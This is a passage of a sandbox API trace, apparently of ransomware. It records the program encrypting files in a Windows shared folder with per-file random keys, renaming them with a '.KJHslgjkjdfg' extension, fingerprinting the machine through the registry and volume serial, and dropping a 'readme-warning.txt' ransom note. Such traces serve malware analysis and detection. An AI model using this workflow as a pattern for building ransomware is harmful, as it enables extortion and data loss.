hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.723] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8f70, lpOverlapped=0x0) returned 1 [0145.723] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.723] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.723] SetEndOfFile (hFile=0x114) returned 1 [0145.726] GetProcessHeap () returned 0x2a0000 [0145.726] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.726] GetProcessHeap () returned 0x2a0000 [0145.726] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.kjhslgjkjdfg")) returned 1 [0145.733] CloseHandle (hObject=0x114) returned 1 [0145.733] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0145.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0145.734] GetProcessHeap () returned 0x2a0000 [0145.734] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.734] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.734] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0145.735] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.735] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.735] GetProcessHeap () returned 0x2a0000 [0145.735] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.735] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0145.735] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.735] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0145.737] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0145.737] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0145.737] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0145.737] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0145.737] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0145.737] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.737] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.737] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.737] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xdfa0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xdfa0, lpOverlapped=0x0) returned 1 [0145.739] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdfa0, dwBufLen=0xdfa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xdfa0) returned 1 [0145.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.740] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xdfa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xdfa0, lpOverlapped=0x0) returned 1 [0145.740] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.740] SetEndOfFile (hFile=0x114) returned 1 [0145.743] GetProcessHeap () returned 0x2a0000 [0145.743] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.743] GetProcessHeap () returned 0x2a0000 [0145.743] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.kjhslgjkjdfg")) returned 1 [0145.744] CloseHandle (hObject=0x114) returned 1 [0145.744] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0145.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0145.745] GetProcessHeap () returned 0x2a0000 [0145.745] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.745] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0145.745] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.745] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.745] GetProcessHeap () returned 0x2a0000 [0145.745] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.745] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0145.745] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.745] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0145.748] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0145.748] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0145.748] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0145.748] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0145.748] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0145.748] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.748] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.748] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.748] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x30170, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x30170, lpOverlapped=0x0) returned 1 [0145.751] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30170, dwBufLen=0x30170 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30170) returned 1 [0145.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.754] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30170, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x30170, lpOverlapped=0x0) returned 1 [0145.755] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.755] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x30244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.755] SetEndOfFile (hFile=0x114) returned 1 [0145.759] GetProcessHeap () returned 0x2a0000 [0145.759] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.759] GetProcessHeap () returned 0x2a0000 [0145.759] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.759] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.kjhslgjkjdfg")) returned 1 [0145.765] CloseHandle (hObject=0x114) returned 1 [0145.765] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0145.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0145.766] GetProcessHeap () returned 0x2a0000 [0145.766] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.766] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0145.766] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.766] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.766] GetProcessHeap () returned 0x2a0000 [0145.766] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.766] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0145.766] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.766] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0145.768] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0145.769] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0145.769] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0145.769] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0145.769] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0145.769] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0145.769] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.769] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.769] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x46b70, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x46b70, lpOverlapped=0x0) returned 1 [0145.772] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x46b70, dwBufLen=0x46b70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x46b70) returned 1 [0145.777] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.777] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x46b70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x46b70, lpOverlapped=0x0) returned 1 [0145.778] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x46c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.778] SetEndOfFile (hFile=0x114) returned 1 [0145.781] GetProcessHeap () returned 0x2a0000 [0145.781] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.781] GetProcessHeap () returned 0x2a0000 [0145.781] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.kjhslgjkjdfg")) returned 1 [0145.788] CloseHandle (hObject=0x114) returned 1 [0145.788] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0145.788] GetProcessHeap () returned 0x2a0000 [0145.788] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.788] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.788] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0145.788] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.788] GetProcessHeap () returned 0x2a0000 [0145.788] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0145.788] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.788] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0145.788] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.788] GetProcessHeap () returned 0x2a0000 [0145.788] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0145.788] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.788] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0145.789] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.789] GetProcessHeap () returned 0x2a0000 [0145.789] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0145.789] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.789] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0145.789] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.789] GetProcessHeap () returned 0x2a0000 [0145.789] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.789] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.789] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ec88 | out: pbData=0x2c1640, pdwDataLen=0x290ec88) returned 1 [0145.789] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.789] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0145.789] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0145.789] RegCloseKey (hKey=0x114) returned 0x0 [0145.789] GetProcessHeap () returned 0x2a0000 [0145.789] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0145.789] GetProcessHeap () returned 0x2a0000 [0145.789] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.789] GetProcessHeap () returned 0x2a0000 [0145.789] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.790] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0145.790] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea5c | out: pbData=0x2c1640, pdwDataLen=0x290ea5c) returned 1 [0145.790] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0145.790] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0145.790] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.790] GetProcessHeap () returned 0x2a0000 [0145.790] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.790] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0145.790] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0145.790] GetProcessHeap () returned 0x2a0000 [0145.790] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f5720 [0145.790] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\readme-warning.txt") returned 74 [0145.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0145.791] WriteFile (in: hFile=0x114, lpBuffer=0x2f5720*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f5720*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0145.792] CloseHandle (hObject=0x114) returned 1 [0145.792] GetProcessHeap () returned 0x2a0000 [0145.792] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0145.792] GetProcessHeap () returned 0x2a0000 [0145.792] HeapFree (in: 